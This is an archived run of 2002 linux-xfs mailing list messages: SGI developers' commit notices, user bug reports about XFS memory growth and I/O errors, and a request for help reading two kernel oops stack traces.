stephy32@videotron.ca 2002-11-18 10:36 ------- Created an attachment (id=51) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=51&action=view) log file from today's corruption, with PAGEBUF_DEBUG enabled. log file matching the pagebuf error messages run. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 11:50:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 11:50:47 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIJofuR024882 for ; Mon, 18 Nov 2002 11:50:42 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIHqeG8024538 for ; Mon, 18 Nov 2002 09:52:40 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA84092 for ; Mon, 18 Nov 2002 13:52:36 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA93522 for ; Mon, 18 Nov 2002 13:52:34 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAJ370R27061 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 22:07:00 -0500 Resent-Message-Id: <200211190307.gAJ370R27061@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA60702 for ; Mon, 18 Nov 2002 13:44:00 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAIJhwkZ34525797 for ; Mon, 18 Nov 2002 11:43:58 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAIJgVZ0000963 for ; Mon, 18 Nov 2002 20:42:31 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAIJgVI4000962 for hch@sgi.com; Mon, 18 Nov 2002 20:42:31 +0100 Date: Mon, 18 Nov 2002 20:42:31 +0100 From: Christoph Hellwig Message-Id: <200211181942.gAIJgVI4000962@lab343.munich.sgi.com> Subject: TAKE - put start_aggressive_readahaead back To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Mon, 18 Nov 2002 22:07:00 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1791 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs We need that to get half-way decent AIM results, so put it back until some better solution has been found. Date: Mon Nov 18 11:42:49 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133397a linux/mm/page_alloc.c - 1.76 linux/kernel/ksyms.c - 1.138 linux/include/linux/mm.h - 1.86 linux/fs/xfs/pagebuf/page_buf.c - 1.78 - put start_aggressive_readahaead back From owner-linux-xfs@oss.sgi.com Mon Nov 18 12:38:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 12:38:16 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIKcEuR028312 for ; Mon, 18 Nov 2002 12:38:14 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIJhnKp014184 for ; Mon, 18 Nov 2002 11:43:49 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA62090 for ; Mon, 18 Nov 2002 14:40:09 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA92610 for ; Mon, 18 Nov 2002 14:40:09 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAIKdUo08038; Mon, 18 Nov 2002 14:39:30 -0600 Message-Id: <200211182039.gAIKdUo08038@jen.americas.sgi.com> Date: Mon, 18 Nov 2002 14:39:30 -0600 Subject: TAKE - avoid need to remap pages when discarding attribute space To: linux-xfs@oss.sgi.com X-archive-position: 1792 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Part of the fix for fsstress on extenteded attributes Date: Mon Nov 18 12:39:28 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133408a linux/fs/xfs/xfs_attr_leaf.c - 1.67 - pass explicit flags into trans_get_buf From owner-linux-xfs@oss.sgi.com Mon Nov 18 13:09:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 13:09:47 -0800 (PST) Received: from ishtar.tlinx.org (ishtar.tlinx.org [64.81.58.33]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIL9fuR029778 for ; Mon, 18 Nov 2002 13:09:41 -0800 Received: from Shiva (shiva [192.168.3.20]) by ishtar.tlinx.org (8.12.6/8.12.2/SuSE Linux 0.6) with ESMTP id gAILBbsJ021883 for ; Mon, 18 Nov 2002 13:11:37 -0800 From: "LA Walsh" To: Subject: possible xfs bug in 2.4.19 (collection of abnormal symptoms) Date: Mon, 18 Nov 2002 13:11:23 -0800 Message-ID: <000501c28f47$0ca057c0$1403a8c0@sc.tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-archive-position: 1793 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: law@tlinx.org Precedence: bulk X-list: linux-xfs Since switching to 2419 and the xfs patch that was available shortly thereafter, I've noticed a few things. 1) when I unmount an xfs file system, there's a lot of disk activity -- an unmount on a 15kRPM SCSI/80Mb interface of a smallish partition, say 5-10G, can take > 30 seconds. Now this is *after* I've done a 'sync' and/or after the machine has been sitting idle for a fair amount of time -- so there shouldn't be virtually any dirty buffers that need to be unloaded (I would hope). 2) I'm running low on memory. I'm not used to running low on memory with a 1G-mem machine that isn't even running a desktop. 'ps' would tell me much and neither would vmstat, but /proc/slabinfo was instructive, specifically: xfs_acl 0 0 304 0 0 1 : 124 62 xfs_chashlist 14858 17170 16 85 85 1 : 252 126 xfs_ili 7084 7084 136 253 253 1 : 252 126 xfs_ifork 605 670 56 10 10 1 : 252 126 xfs_efi_item 15 15 260 1 1 1 : 124 62 xfs_efd_item 15 15 260 1 1 1 : 124 62 xfs_buf_item 156 156 148 6 6 1 : 252 126 xfs_dabuf 202 202 16 1 1 1 : 252 126 xfs_da_state 0 0 340 0 0 1 : 124 62 xfs_trans 161 161 584 23 23 1 : 124 62 xfs_inode 431990 431990 400 43199 43199 1 : 124 62 xfs_btree_cur 58 58 132 2 2 1 : 252 126 xfs_bmap_free_item 252 253 12 1 1 1 : 252 126 page_buf_t 234 360 192 16 18 1 : 252 126 linvfs_icache 431886 431886 512 61698 61698 1 : 124 62 Now I wasn't able to find much on the fields of slab and was too lazy to read source code to figure out the entries, but the first column looks an awful lot like the amount of memory that is 'missing'. The figures from xfs_inode and linvfs_icache_icache seem darn close to identical in size (is that a coincidence?) but added together also would take up 80+% of my physical memory. If it was just a cache that got released when there was a need for memory, that would be one thing, but I just was forced to reboot yesturday (about 12 days of uptime) and already I'm using 9M of swapspace. When I looked at this a few days before the crash, I was using, oh, maybe, 30-40M of swap. Normally I don't use any swap. Today I can see the linux file cache using around 400M, -- that wasn't the case a few days ago -- none of the memory figures amounted to a hill of beans. Early Saturday morning one of the XFS partitions stopped responding. I tried unmounting it-- nada (process hung). I tried 'sync' (also hung). Went for reboot -f (that was dumb, it also does a sync -- that hung). Went for reboot -n (still not what I wanted at 2 in the morning)...brought system to a halt and then it died trying to unmount file systems -- couln't unmount them. I just hung there all night (I went to bed after I issued the reboot figuring I'd wakeup to a happy system again). Hit reset and things came back up, seemingly ok. So I'm wondering -- almost feels like there could be a memory leak somewhere? Maybe I'm reporting this and it's already been fixed? Anyway -- just wanted to report 'symptoms' so if others come up with similar symptoms might develop a pattern. It's not like it is an emergency -- Maybe I can tell it to auto reboot once a week...more of an annoyance more than anything. -linda From owner-linux-xfs@oss.sgi.com Mon Nov 18 14:52:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 14:52:41 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIMqbuR031966 for ; Mon, 18 Nov 2002 14:52:37 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIMwckq009727 for ; Mon, 18 Nov 2002 16:58:38 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA23749 for ; Mon, 18 Nov 2002 16:54:23 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA14128 for ; Mon, 18 Nov 2002 16:54:21 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAJ68lf28317 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 01:08:47 -0500 Resent-Message-Id: <200211190608.gAJ68lf28317@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA46549 for ; Mon, 18 Nov 2002 16:32:24 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAIMWMkZ34636345 for ; Mon, 18 Nov 2002 14:32:23 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAIMUunU002052 for ; Mon, 18 Nov 2002 23:30:56 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAIMUuVF002051 for hch@sgi.com; Mon, 18 Nov 2002 23:30:56 +0100 Date: Mon, 18 Nov 2002 23:30:56 +0100 From: Christoph Hellwig Message-Id: <200211182230.gAIMUuVF002051@lab343.munich.sgi.com> Subject: TAKE - remove bogus struct dirent forward declarations To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 19 Nov 2002 01:08:47 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1794 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 18 14:30:16 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133428a linux/fs/xfs/xfs_dir2_block.h - 1.10 linux/fs/xfs/xfs_dir2_sf.h - 1.15 linux/fs/xfs/xfs_dir_leaf.h - 1.36 linux/fs/xfs/xfs_dir2_leaf.h - 1.11 linux/fs/xfs/xfs_dir2_node.h - 1.7 linux/fs/xfs/xfs_dir2.h - 1.12 - remove bogus struct dirent forward declaration From owner-linux-xfs@oss.sgi.com Mon Nov 18 14:53:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 14:53:48 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIMrkuR032173 for ; Mon, 18 Nov 2002 14:53:46 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIMxlkq009747 for ; Mon, 18 Nov 2002 16:59:47 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA89147 for ; Mon, 18 Nov 2002 16:55:42 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA75044 for ; Mon, 18 Nov 2002 16:55:35 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAJ6A1U28327 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 01:10:01 -0500 Resent-Message-Id: <200211190610.gAJ6A1U28327@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA64644 for ; Mon, 18 Nov 2002 16:54:50 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAIMsmkZ33885495 for ; Mon, 18 Nov 2002 14:54:49 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAIMrLnU004375 for ; Mon, 18 Nov 2002 23:53:21 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAIMrLGw004374 for hch@sgi.com; Mon, 18 Nov 2002 23:53:21 +0100 Date: Mon, 18 Nov 2002 23:53:21 +0100 From: Christoph Hellwig Message-Id: <200211182253.gAIMrLGw004374@lab343.munich.sgi.com> Subject: TAKE - fix some wrong off_t uses in dmapi To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 19 Nov 2002 01:10:01 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1795 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 18 14:53:16 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133433a linux/fs/xfs/xfs_dmapi.c - 1.86 linux/fs/xfs/dmapi/dmapi_event.c - 1.10 linux/fs/xfs/dmapi/dmapi_kern.h - 1.2 - always use xfs_off_t (64bits) instead of off_t (may be 32bits) From owner-linux-xfs@oss.sgi.com Mon Nov 18 15:02:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 15:02:10 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIN27uR000503 for ; Mon, 18 Nov 2002 15:02:08 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIN7wkq009875 for ; Mon, 18 Nov 2002 17:07:59 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA19679 for ; Mon, 18 Nov 2002 17:03:54 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA94350 for ; Mon, 18 Nov 2002 17:03:46 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAJ6ID428369 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 01:18:13 -0500 Resent-Message-Id: <200211190618.gAJ6ID428369@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA43580 for ; Mon, 18 Nov 2002 17:03:06 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAIN33kZ34081589 for ; Mon, 18 Nov 2002 15:03:04 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAIN1bnU004699 for ; Tue, 19 Nov 2002 00:01:37 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAIN1bd5004698 for hch@sgi.com; Tue, 19 Nov 2002 00:01:37 +0100 Date: Tue, 19 Nov 2002 00:01:37 +0100 From: Christoph Hellwig Message-Id: <200211182301.gAIN1bd5004698@lab343.munich.sgi.com> Subject: TAKE - fix some broken off_t use To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 19 Nov 2002 01:18:12 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1796 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs There's still some off_t abus left in pagebuf, but it's so clearly bogus (it uses off_t for something different than offsets into files) that I'll need to take a deeper look at what it actually wants and need to do some rewrite/cleanup around it. But it's already late here so I'll do it tomorrow... Date: Mon Nov 18 15:00:52 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133435a linux/fs/xfs/linux/xfs_file.c - 1.82 - always use xfs_off_t instead of off_t From owner-linux-xfs@oss.sgi.com Mon Nov 18 15:10:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 15:10:11 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAINA7uR001050 for ; Mon, 18 Nov 2002 15:10:09 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 1AE701EE25D; Mon, 18 Nov 2002 15:12:09 -0800 (PST) Date: Mon, 18 Nov 2002 15:12:09 -0800 From: Chris Wedgwood To: LA Walsh Cc: linux-xfs@oss.sgi.com Subject: Re: possible xfs bug in 2.4.19 (collection of abnormal symptoms) Message-ID: <20021118231209.GA11033@tapu.f00f.org> References: <000501c28f47$0ca057c0$1403a8c0@sc.tlinx.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000501c28f47$0ca057c0$1403a8c0@sc.tlinx.org> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1797 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Mon, Nov 18, 2002 at 01:11:23PM -0800, LA Walsh wrote: > Early Saturday morning one of the XFS partitions stopped responding. Does the code from CVS work anmy differently? From owner-linux-xfs@oss.sgi.com Mon Nov 18 15:45:39 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 15:45:44 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAINjcuR002075 for ; Mon, 18 Nov 2002 15:45:39 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: Update Input/Output Error with Evms/XFS MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 18 Nov 2002 15:47:40 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Update Input/Output Error with Evms/XFS Thread-Index: AcKHMobavLQaFlRNR7aePtap6Gl2kAAVo08gAIyg9VABZ79vcA== From: "Michael Nguyen" To: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAINjduR002076 X-archive-position: 1798 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs Hello all, A little while back, I reported encountering a problem with XFS volume when managed under LvmRegMgr. Kernel2.4.18 + EVMS1.2.0 + XFS1.1.0 1. The I/O error can easily duplicate by a simple # cp -R /usr/src/* /mnt/myvol/. ==> The above problem goes away under: Kernel2.4.19 + EVMS1.2.0 + XFS1.2pre3 2. I/O error resurfaces (using XFSpre3) under SpecsFS 3.0. ==> SpecsFS may run 2 to 6 (out of 10) iteration before dying on the same error type. If there is any specific data you'd like to view, I may be able to supply. Regards, Michael. From owner-linux-xfs@oss.sgi.com Mon Nov 18 16:01:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 16:01:07 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJ012uR002644 for ; Mon, 18 Nov 2002 16:01:02 -0800 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.55.176]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIM31G8007998 for ; Mon, 18 Nov 2002 14:03:01 -0800 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.9.3/8.9.3) id LAA01576 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 11:01:57 +1100 Date: Tue, 19 Nov 2002 11:01:57 +1100 From: FSG QA Message-Id: <200211190001.LAA01576@bruce.melbourne.sgi.com> Subject: TAKE - QA 070 X-archive-position: 1799 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Squirrel away the fsstress output in 070.full for subsequent inspection if something should go wrong. This test passes on XFS 1.2, so this fsstress EA-writes regression has been introduced at some point after that tree was created. cheers. Date: Mon Nov 18 15:58:46 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133449a cmd/xfstests/070 - 1.2 From owner-linux-xfs@oss.sgi.com Mon Nov 18 21:29:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 21:29:05 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJ5T1uR007793 for ; Mon, 18 Nov 2002 21:29:01 -0800 Received: (qmail 18096 invoked by uid 500); 19 Nov 2002 05:29:22 -0000 Subject: Two Stack Traces - request for help. From: Austin Gonyou To: XFS List Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1037683761.2902.19.camel@UberGeek> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 18 Nov 2002 23:29:22 -0600 X-archive-position: 1800 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs I got this output from ksymoops on a 2.4.19-aa1 kernel. Does anyone know if this stack looks corrupt? Looking at each compared to each other, I believe so, but I just wanted some confirmation of this. Your urgent help is most appreciated. The recent output is taken from a production box that won't stay up for more than 7 days at a time. The older output, is from an identical box, running the same kernel, under different circumstances. TIA. ksymoops 2.4.1 on i686 2.4.19. Options used -V (specified) -k /proc/ksyms (specified) -l /proc/modules (default) -o /lib/modules/2.4.19/ (default) -m /boot/System.map-2.4.19 (default) Oops: 0000 2.4.19 #1 SMP Wed Oct 16 17:02:35 CDT 2002 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010007 eax: c031e000 ebx: c034d8a8 ecx: 00000000 edx: ffffffd4 esi: c034d880 edi: 00000080 ebp: c031ffc8 esp: c031ff98 ds: 0018 es: 0018 ss: 0018 Process swapper (pid: 0, stackpage=c031f000) Stack: c034d880 00000019 c031e000 c031e000 ffffffd4 0008e000 00000000 c0100018 c0100018 c031e000 c0106e60 c0105000 0008e000 c0106ee9 0002080e 00098700 c03207a5 c031e000 00000000 c02a6da0 00200000 00200000 00200000 00038000 Call Trace: [] [] [] Code: 8b 72 58 8b 40 5c 85 f6 89 45 d4 75 35 89 42 5c f0 ff 40 14 >>EIP; c01164ee <===== Trace; c0106e60 Trace; c0105000 <_stext+0/0> Trace; c0106ee9 Code; c01164ee 00000000 <_EIP>: Code; c01164ee <===== 0: 8b 72 58 mov 0x58(%edx),%esi <===== Code; c01164f1 3: 8b 40 5c mov 0x5c(%eax),%eax Code; c01164f4 6: 85 f6 test %esi,%esi Code; c01164f6 8: 89 45 d4 mov %eax,0xffffffd4(%ebp) Code; c01164f9 b: 75 35 jne 42 <_EIP+0x42> c0116530 Code; c01164fb d: 89 42 5c mov %eax,0x5c(%edx) Code; c01164fe 10: f0 ff 40 14 lock incl 0x14(%eax) <0> Kernel panic: Attempted to kill the idle task! ksymoops 2.4.1 on i686 2.4.19. Options used -V (specified) -k /proc/ksyms (specified) -l /proc/modules (default) -o /lib/modules/2.4.19/ (default) -m /boot/System.map-2.4.19 (default) Oops: 0000 2.4.19 #1 SMP Mon Oct 7 11:01:05 CDT 2002 CPU: 2 EIP: 0010:[] Tainted: P Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010202 eax: d6f37b7c ebx: 00000001 ecx: 00000000 edx: e5c5f280 esi: d6f37b7c edi: e5c5f280 ebp: c93b2400 esp: c706fcb0 ds: 0018 es: 0018 ss: 0018 Process swapper (pid: 0, stackpage=c706f000) Stack: c01a6c7b e5c5f280 c93b2400 d6f37b7c 00000202 c93b2400 d6f37b7c 00001636 00004ca8 c93b2400 d6f37b7c 00001636 00004ca8 c01d2f74 d6f37b7c 00000286 00000286 0000000a c93b2400 d041ceb8 00001636 00004ca8 00000000 00000000 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 41 20 89 42 44 85 c0 75 e0 8b 42 34 85 c0 74 07 c7 42 34 >>EIP; c01a71b7 <===== Trace; c01a6c7b Trace; c01d2f74 Trace; c01d2d00 Trace; c01c798e Trace; d9848583 Trace; c01c7acb Trace; c01c6804 Trace; c01dfc38 Trace; c01e0013 <_end_pagebuf_page_io_multi+d3/110> Trace; c023ad55 Trace; c023ae87 Trace; c023b232 Trace; d984db87 Trace; c024574f Trace; d9854d63 Trace; c0234629 Trace; c0234350 Trace; c011ef8b Trace; c011ee31 Trace; c011ebbb Trace; c010a97e Trace; c0106e60 Trace; c010d248 Trace; c0106e60 Trace; c0106e89 Trace; c0106ee4 Trace; c011a589 Code; c01a71b7 00000000 <_EIP>: Code; c01a71b7 <===== 0: 8b 41 20 mov 0x20(%ecx),%eax <===== Code; c01a71ba 3: 89 42 44 mov %eax,0x44(%edx) Code; c01a71bd 6: 85 c0 test %eax,%eax Code; c01a71bf 8: 75 e0 jne ffffffea <_EIP+0xffffffea> c01a71a1 Code; c01a71c1 a: 8b 42 34 mov 0x34(%edx),%eax Code; c01a71c4 d: 85 c0 test %eax,%eax Code; c01a71c6 f: 74 07 je 18 <_EIP+0x18> c01a71cf Code; c01a71c8 11: c7 42 34 00 00 00 00 movl $0x0,0x34(%edx) <0>Kernel panic: Aiee, killing interupt 